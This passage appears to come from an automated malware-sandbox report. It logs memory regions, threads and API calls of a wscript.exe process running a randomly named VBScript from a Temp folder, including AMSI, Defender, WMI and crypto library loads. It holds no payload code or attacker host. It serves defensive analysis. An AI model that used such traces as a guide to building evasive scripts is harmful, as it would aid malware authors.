0x5dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 10559 start_va = 0x5e0000 end_va = 0x5effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 10560 start_va = 0x5f0000 end_va = 0x5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005f0000" filename = "" Region: id = 10572 start_va = 0x5d0000 end_va = 0x5dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 10589 start_va = 0x5d0000 end_va = 0x5dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 10590 start_va = 0x5d0000 end_va = 0x5dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 10591 start_va = 0x5d0000 end_va = 0x5dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Thread: id = 220 os_tid = 0x894 [0218.918] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0236.621] RoInitialize () returned 0x1 [0236.622] RoUninitialize () returned 0x0 Thread: id = 244 os_tid = 0x7a4 Thread: id = 300 os_tid = 0x7fc Thread: id = 307 os_tid = 0xe20 [0236.750] CoGetContextToken (in: pToken=0x1a6efa40 | out: pToken=0x1a6efa40) returned 0x800401f0 [0236.750] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0236.751] RoInitialize () returned 0x1 [0236.751] RoUninitialize () returned 0x0 Thread: id = 346 os_tid = 0xcd8 Thread: id = 352 os_tid = 0xfe8 Thread: id = 359 os_tid = 0x1014 Process: id = "45" image_name = "wscript.exe" filename = "c:\\windows\\system32\\wscript.exe" page_root = "0x2b899000" os_pid = "0x136c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "43" os_parent_pid = "0x10c0" cmd_line = "\"C:\\Windows\\System32\\WScript.exe\" \"C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\d4294808-742c-4d98-9537-1e79e4c62434.vbs\" " cur_dir = "C:\\Users\\RDhJ0CNFevzX\\Desktop\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fdef" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 6871 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 6872 start_va = 0x49d0400000 end_va = 0x49d05fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000049d0400000" filename = "" Region: id = 6873 start_va = 0x49d0600000 end_va = 0x49d06fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000049d0600000" filename = "" Region: id = 6874 start_va = 0x1bd3c6f0000 end_va = 0x1bd3c70ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001bd3c6f0000" filename = "" Region: id = 6875 start_va = 0x1bd3c710000 end_va = 0x1bd3c724fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001bd3c710000" filename = "" Region: id = 6876 start_va = 0x1bd3c730000 end_va = 0x1bd3c733fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001bd3c730000" filename = "" Region: id = 6877 start_va = 0x1bd3c740000 end_va = 0x1bd3c740fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001bd3c740000" filename = "" Region: id = 6878 start_va = 0x1bd3c750000 end_va = 0x1bd3c751fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001bd3c750000" filename = "" Region: id = 6879 start_va = 0x7df5ff900000 end_va = 0x7ff5ff8fffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ff900000" filename = "" Region: id = 6880 start_va = 0x7ff615260000 end_va = 0x7ff615282fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff615260000" filename = "" Region: id = 6881 start_va = 0x7ff615da0000 end_va = 0x7ff615dcdfff monitored = 0 entry_point = 0x7ff615da2ec0 region_type = mapped_file name = "wscript.exe" filename = "\\Windows\\System32\\wscript.exe" (normalized: "c:\\windows\\system32\\wscript.exe") Region: id = 6882 start_va = 0x7ffa7be80000 end_va = 0x7ffa7c040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 6883 start_va = 0x1bd3c7c0000 end_va = 0x1bd3c8bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001bd3c7c0000" filename = "" Region: id = 6884 start_va = 0x7ffa789b0000 end_va = 0x7ffa78b97fff monitored = 0 entry_point = 0x7ffa789dba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 6885 start_va = 0x7ffa7a9a0000 end_va = 0x7ffa7aa4cfff monitored = 0 entry_point = 0x7ffa7a9b81a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 6886 start_va = 0x1bd3c6f0000 end_va = 0x1bd3c6fffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001bd3c6f0000" filename = "" Region: id = 6887 start_va = 0x7ff615160000 end_va = 0x7ff61525ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff615160000" filename = "" Region: id = 6891 start_va = 0x1bd3c8c0000 end_va = 0x1bd3c97dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 6892 start_va = 0x7ffa7bdd0000 end_va = 0x7ffa7be76fff monitored = 0 entry_point = 0x7ffa7bde58d0 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 6893 start_va = 0x7ffa79390000 end_va = 0x7ffa7942cfff monitored = 0 entry_point = 0x7ffa793978a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 6894 start_va = 0x49d0700000 end_va = 0x49d07fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000049d0700000" filename = "" Region: id = 6895 start_va = 0x7ffa7ad20000 end_va = 0x7ffa7ad7afff monitored = 0 entry_point = 0x7ffa7ad338b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 6896 start_va = 0x7ffa7aa50000 end_va = 0x7ffa7ab6bfff monitored = 0 entry_point = 0x7ffa7aa902b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 6897 start_va = 0x7ffa7abc0000 end_va = 0x7ffa7ad15fff monitored = 0 entry_point = 0x7ffa7abca8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 6898 start_va = 0x7ffa7bb50000 end_va = 0x7ffa7bcd5fff monitored = 0 entry_point = 0x7ffa7bb9ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 6899 start_va = 0x7ffa7bd00000 end_va = 0x7ffa7bdc0fff monitored = 0 entry_point = 0x7ffa7bd20da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 6901 start_va = 0x7ffa7b8d0000 end_va = 0x7ffa7bb4cfff monitored = 0 entry_point = 0x7ffa7b9a4970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 6902 start_va = 0x1bd3c700000 end_va = 0x1bd3c706fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001bd3c700000" filename = "" Region: id = 6903 start_va = 0x7ffa78650000 end_va = 0x7ffa786b9fff monitored = 0 entry_point = 0x7ffa78686d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 6904 start_va = 0x7ffa7b290000 end_va = 0x7ffa7b3d2fff monitored = 0 entry_point = 0x7ffa7b2b8210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 6905 start_va = 0x7ffa76d30000 end_va = 0x7ffa76d39fff monitored = 0 entry_point = 0x7ffa76d31350 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 6906 start_va = 0x1bd3c980000 end_va = 0x1bd3cb7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001bd3c980000" filename = "" Region: id = 6907 start_va = 0x1bd3c760000 end_va = 0x1bd3c766fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001bd3c760000" filename = "" Region: id = 6908 start_va = 0x1bd3c770000 end_va = 0x1bd3c7a8fff monitored = 0 entry_point = 0x1bd3c7712f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 6909 start_va = 0x1bd3c980000 end_va = 0x1bd3cb07fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001bd3c980000" filename = "" Region: id = 6910 start_va = 0x1bd3cb70000 end_va = 0x1bd3cb7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001bd3cb70000" filename = "" Region: id = 6911 start_va = 0x7ffa7ab70000 end_va = 0x7ffa7abaafff monitored = 0 entry_point = 0x7ffa7ab712f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 6912 start_va = 0x1bd3cb80000 end_va = 0x1bd3cd00fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001bd3cb80000" filename = "" Region: id = 6913 start_va = 0x1bd3cd10000 end_va = 0x1bd3e10ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001bd3cd10000" filename = "" Region: id = 6914 start_va = 0x1bd3c770000 end_va = 0x1bd3c772fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wscript.exe.mui" filename = "\\Windows\\System32\\en-US\\wscript.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\wscript.exe.mui") Region: id = 6915 start_va = 0x1bd3c780000 end_va = 0x1bd3c780fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001bd3c780000" filename = "" Region: id = 6916 start_va = 0x1bd3c790000 end_va = 0x1bd3c790fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001bd3c790000" filename = "" Region: id = 6917 start_va = 0x1bd3e110000 end_va = 0x1bd3e1ecfff monitored = 0 entry_point = 0x1bd3e16e0b0 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 6918 start_va = 0x7ffa784d0000 end_va = 0x7ffa784defff monitored = 0 entry_point = 0x7ffa784d3210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 6919 start_va = 0x7ffa76e20000 end_va = 0x7ffa76eb5fff monitored = 0 entry_point = 0x7ffa76e45570 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 6920 start_va = 0x1bd3e110000 end_va = 0x1bd3e24ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001bd3e110000" filename = "" Region: id = 6922 start_va = 0x1bd3e250000 end_va = 0x1bd3e586fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 6923 start_va = 0x1bd3c7a0000 end_va = 0x1bd3c7a7fff monitored = 1 entry_point = 0x1bd3c7a2ec0 region_type = mapped_file name = "wscript.exe" filename = "\\Windows\\System32\\wscript.exe" (normalized: "c:\\windows\\system32\\wscript.exe") Region: id = 6924 start_va = 0x7ffa78360000 end_va = 0x7ffa783f8fff monitored = 0 entry_point = 0x7ffa7838f4e0 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll") Region: id = 6926 start_va = 0x49d0800000 end_va = 0x49d08fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000049d0800000" filename = "" Region: id = 6927 start_va = 0x7ffa7b3e0000 end_va = 0x7ffa7b539fff monitored = 0 entry_point = 0x7ffa7b4238e0 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 6928 start_va = 0x1bd3c7b0000 end_va = 0x1bd3c7b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001bd3c7b0000" filename = "" Region: id = 6929 start_va = 0x1bd3e110000 end_va = 0x1bd3e1cbfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001bd3e110000" filename = "" Region: id = 6930 start_va = 0x1bd3e240000 end_va = 0x1bd3e24ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001bd3e240000" filename = "" Region: id = 6931 start_va = 0x1bd3c7b0000 end_va = 0x1bd3c7b3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001bd3c7b0000" filename = "" Region: id = 6932 start_va = 0x7ffa75d20000 end_va = 0x7ffa75d41fff monitored = 0 entry_point = 0x7ffa75d21a40 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 6933 start_va = 0x1bd3cb10000 end_va = 0x1bd3cb10fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001bd3cb10000" filename = "" Region: id = 6934 start_va = 0x7ffa7b7c0000 end_va = 0x7ffa7b866fff monitored = 0 entry_point = 0x7ffa7b7cb4d0 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 6935 start_va = 0x1bd3cb20000 end_va = 0x1bd3cb20fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001bd3cb20000" filename = "" Region: id = 6936 start_va = 0x7ffa60fd0000 end_va = 0x7ffa61068fff monitored = 1 entry_point = 0x7ffa60ff1cf0 region_type = mapped_file name = "vbscript.dll" filename = "\\Windows\\System32\\vbscript.dll" (normalized: "c:\\windows\\system32\\vbscript.dll") Region: id = 6938 start_va = 0x7ffa714f0000 end_va = 0x7ffa714fffff monitored = 0 entry_point = 0x7ffa714f51b0 region_type = mapped_file name = "amsi.dll" filename = "\\Windows\\System32\\amsi.dll" (normalized: "c:\\windows\\system32\\amsi.dll") Region: id = 6939 start_va = 0x7ffa6b060000 end_va = 0x7ffa6b07cfff monitored = 0 entry_point = 0x7ffa6b06e930 region_type = mapped_file name = "mpoav.dll" filename = "\\Program Files\\Windows Defender\\MpOAV.dll" (normalized: "c:\\program files\\windows defender\\mpoav.dll") Region: id = 6940 start_va = 0x1bd3cb30000 end_va = 0x1bd3cb30fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001bd3cb30000" filename = "" Region: id = 6953 start_va = 0x7ffa6c620000 end_va = 0x7ffa6c62bfff monitored = 0 entry_point = 0x7ffa6c6218b0 region_type = mapped_file name = "wldp.dll" filename = "\\Windows\\System32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll") Region: id = 6954 start_va = 0x7ffa78730000 end_va = 0x7ffa788f6fff monitored = 0 entry_point = 0x7ffa7878db80 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 6955 start_va = 0x7ffa784c0000 end_va = 0x7ffa784cffff monitored = 0 entry_point = 0x7ffa784c56e0 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 6956 start_va = 0x7ffa785f0000 end_va = 0x7ffa78644fff monitored = 0 entry_point = 0x7ffa78607970 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 6963 start_va = 0x7ffa77e20000 end_va = 0x7ffa77e36fff monitored = 0 entry_point = 0x7ffa77e279d0 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 6964 start_va = 0x7ffa77ab0000 end_va = 0x7ffa77ae3fff monitored = 0 entry_point = 0x7ffa77acae70 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 6965 start_va = 0x7ffa78330000 end_va = 0x7ffa78358fff monitored = 0 entry_point = 0x7ffa78344530 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 6966 start_va = 0x7ffa77f40000 end_va = 0x7ffa77f4afff monitored = 0 entry_point = 0x7ffa77f419a0 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 6967 start_va = 0x49d0900000 end_va = 0x49d09fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000049d0900000" filename = "" Region: id = 6968 start_va = 0x1bd3cb30000 end_va = 0x1bd3cb30fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001bd3cb30000" filename = "" Region: id = 6969 start_va = 0x7ffa71160000 end_va = 0x7ffa7116bfff monitored = 0 entry_point = 0x7ffa71161480 region_type = mapped_file name = "msisip.dll" filename = "\\Windows\\System32\\msisip.dll" (normalized: "c:\\windows\\system32\\msisip.dll") Region: id = 6970 start_va = 0x7ffa7b1b0000 end_va = 0x7ffa7b21efff monitored = 0 entry_point = 0x7ffa7b1d5f70 region_type = mapped_file name = "coml2.dll" filename = "\\Windows\\System32\\coml2.dll" (normalized: "c:\\windows\\system32\\coml2.dll") Region: id = 6971 start_va = 0x1bd3e590000 end_va = 0x1bd3f58ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001bd3e590000" filename = "" Region: id = 6972 start_va = 0x1bd3cb40000 end_va = 0x1bd3cb40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001bd3cb40000" filename = "" Region: id = 6973 start_va = 0x49d0a00000 end_va = 0x49d0afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000049d0a00000" filename = "" Region: id = 6974 start_va = 0x7ffa6b040000 end_va = 0x7ffa6b05dfff monitored = 1 entry_point = 0x7ffa6b041df0 region_type = mapped_file name = "wshext.dll" filename = "\\Windows\\System32\\wshext.dll" (normalized: "c:\\windows\\system32\\wshext.dll") Region: id = 6975 start_va = 0x7ffa79430000 end_va = 0x7ffa7a98efff monitored = 0 entry_point = 0x7ffa795911f0 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 6986 start_va = 0x7ffa786c0000 end_va = 0x7ffa78702fff monitored = 0 entry_point = 0x7ffa786d4b50 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 6987 start_va = 0x7ffa78ba0000 end_va = 0x7ffa791e3fff monitored = 0 entry_point = 0x7ffa78d664b0 region_type = mapped_file name = "windows.storage.dll" filename = "\\Windows\\System32\\windows.storage.dll" (normalized: "c:\\windows\\system32\\windows.storage.dll") Region: id = 6988 start_va = 0x7ffa7b220000 end_va = 0x7ffa7b271fff monitored = 0 entry_point = 0x7ffa7b22f530 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 6989 start_va = 0x7ffa78530000 end_va = 0x7ffa785e4fff monitored = 0 entry_point = 0x7ffa785722e0 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 6990 start_va = 0x7ffa784e0000 end_va = 0x7ffa7852afff monitored = 0 entry_point = 0x7ffa784e35f0 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 6991 start_va = 0x7ffa784a0000 end_va = 0x7ffa784b3fff monitored = 0 entry_point = 0x7ffa784a52e0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 7006 start_va = 0x7ffa631f0000 end_va = 0x7ffa63233fff monitored = 1 entry_point = 0x7ffa631faac0 region_type = mapped_file name = "scrobj.dll" filename = "\\Windows\\System32\\scrobj.dll" (normalized: "c:\\windows\\system32\\scrobj.dll") Region: id = 7008 start_va = 0x1bd3cb30000 end_va = 0x1bd3cb3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001bd3cb30000" filename = "" Region: id = 7009 start_va = 0x1bd3e590000 end_va = 0x1bd3e68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001bd3e590000" filename = "" Region: id = 7010 start_va = 0x7ffa62390000 end_va = 0x7ffa623b8fff monitored = 1 entry_point = 0x7ffa62391340 region_type = mapped_file name = "wshom.ocx" filename = "\\Windows\\System32\\wshom.ocx" (normalized: "c:\\windows\\system32\\wshom.ocx") Region: id = 7011 start_va = 0x7ffa70950000 end_va = 0x7ffa7096afff monitored = 0 entry_point = 0x7ffa70951040 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\System32\\mpr.dll" (normalized: "c:\\windows\\system32\\mpr.dll") Region: id = 7012 start_va = 0x7ffa62350000 end_va = 0x7ffa62384fff monitored = 0 entry_point = 0x7ffa62355850 region_type = mapped_file name = "scrrun.dll" filename = "\\Windows\\System32\\scrrun.dll" (normalized: "c:\\windows\\system32\\scrrun.dll") Region: id = 7015 start_va = 0x1bd3cb40000 end_va = 0x1bd3cb4ffff monitored = 0 entry_point = 0x1bd3cb45850 region_type = mapped_file name = "scrrun.dll" filename = "\\Windows\\System32\\scrrun.dll" (normalized: "c:\\windows\\system32\\scrrun.dll") Region: id = 7017 start_va = 0x7ffa62060000 end_va = 0x7ffa620b3fff monitored = 1 entry_point = 0x7ffa6206be60 region_type = mapped_file name = "wbemdisp.dll" filename = "\\Windows\\System32\\wbem\\wbemdisp.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemdisp.dll") Region: id = 7018 start_va = 0x7ffa6f330000 end_va = 0x7ffa6f3aefff monitored = 0 entry_point = 0x7ffa6f347110 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll") Region: id = 7019 start_va = 0x7ffa7b540000 end_va = 0x7ffa7b5aafff monitored = 0 entry_point = 0x7ffa7b5590c0 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 7020 start_va = 0x7ffa6d6d0000 end_va = 0x7ffa6d6e0fff monitored = 0 entry_point = 0x7ffa6d6d2fc0 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 7021 start_va = 0x7ffa6b700000 end_va = 0x7ffa6b724fff monitored = 0 entry_point = 0x7ffa6b709900 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll") Region: id = 7022 start_va = 0x1bd3e690000 end_va = 0x1bd3e76cfff monitored = 0 entry_point = 0x1bd3e6ee0b0 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 7023 start_va = 0x49d0b00000 end_va = 0x49d0bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000049d0b00000" filename = "" Region: id = 7024 start_va = 0x49d0c00000 end_va = 0x49d0cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000049d0c00000" filename = "" Region: id = 7025 start_va = 0x49d0d00000 end_va = 0x49d0dfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000049d0d00000" filename = "" Region: id = 7043 start_va = 0x7ffa6b730000 end_va = 0x7ffa6b743fff monitored = 0 entry_point = 0x7ffa6b731800 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 7074 start_va = 0x7ffa6b750000 end_va = 0x7ffa6b845fff monitored = 0 entry_point = 0x7ffa6b789590 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 7075 start_va = 0x1bd3cb50000 end_va = 0x1bd3cb5efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wbemdisp.tlb" filename = "\\Windows\\System32\\wbem\\wbemdisp.tlb" (normalized: "c:\\windows\\system32\\wbem\\wbemdisp.tlb") Region: id = 7080 start_va = 0x1bd3cb60000 end_va = 0x1bd3cb62fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001bd3cb60000" filename = "" Region: id = 7081 start_va = 0x1bd3cb60000 end_va = 0x1bd3cb64fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "stdole2.tlb" filename = "\\Windows\\System32\\stdole2.tlb" (normalized: "c:\\windows\\system32\\stdole2.tlb") Region: id = 8839 start_va = 0x1bd3e1d0000 end_va = 0x1bd3e1d2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001bd3e1d0000" filename = "" Thread: id = 263 os_tid = 0x125c [0164.406] malloc (_Size=0x100) returned 0x1bd3cb76330 [0164.407] __dllonexit () returned 0x7ffa60ff3c00 [0164.407] __dllonexit () returned 0x7ffa60ff3c10 [0164.407] __dllonexit () returned 0x7ffa60ff3c20 [0164.407] GetUserDefaultLCID () returned 0x409 [0164.407] GetVersion () returned 0x295a000a [0164.408] GetModuleHandleW (lpModuleName="api-ms-win-core-processthreads-l1-1-2.dll") returned 0x7ffa7a9a0000 [0164.408] GetProcAddress (hModule=0x7ffa7a9a0000, lpProcName="QueryProtectedPolicy") returned 0x7ffa78a202d0 [0164.408] VirtualProtect (in: lpAddress=0x7ffa6103d668, dwSize=0x8, flNewProtect=0x4, lpflOldProtect=0x49d06fc6b0 | out: lpflOldProtect=0x49d06fc6b0*=0x2) returned 1 [0164.408] VirtualProtect (in: lpAddress=0x7ffa6103d668, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x49d06fc6b0 | out: lpflOldProtect=0x49d06fc6b0*=0x4) returned 1 [0164.409] malloc (_Size=0x58) returned 0x1bd3cb76440 [0164.409] malloc (_Size=0x3a8) returned 0x1bd3cb764a0 [0164.410] GetUserDefaultLCID () returned 0x409 [0164.410] GetACP () returned 0x4e4 [0164.410] LoadLibraryExW (lpLibFileName="amsi.dll", hFile=0x0, dwFlags=0x800) returned 0x7ffa714f0000 [0164.419] GetProcAddress (hModule=0x7ffa714f0000, lpProcName="AmsiInitialize") returned 0x7ffa714f2260 [0164.419] GetProcAddress (hModule=0x7ffa714f0000, lpProcName="AmsiScanString") returned 0x7ffa714f26b0 [0164.419] AmsiInitialize () returned 0x0 [0164.434] free (_Block=0x1bd3cb76440) [0164.434] GetCurrentThreadId () returned 0x125c [0164.434] malloc (_Size=0xd0) returned 0x1bd3cb76e00 [0164.434] GetCurrentThreadId () returned 0x125c [0164.435] malloc (_Size=0x28) returned 0x1bd3cb76440 [0164.435] 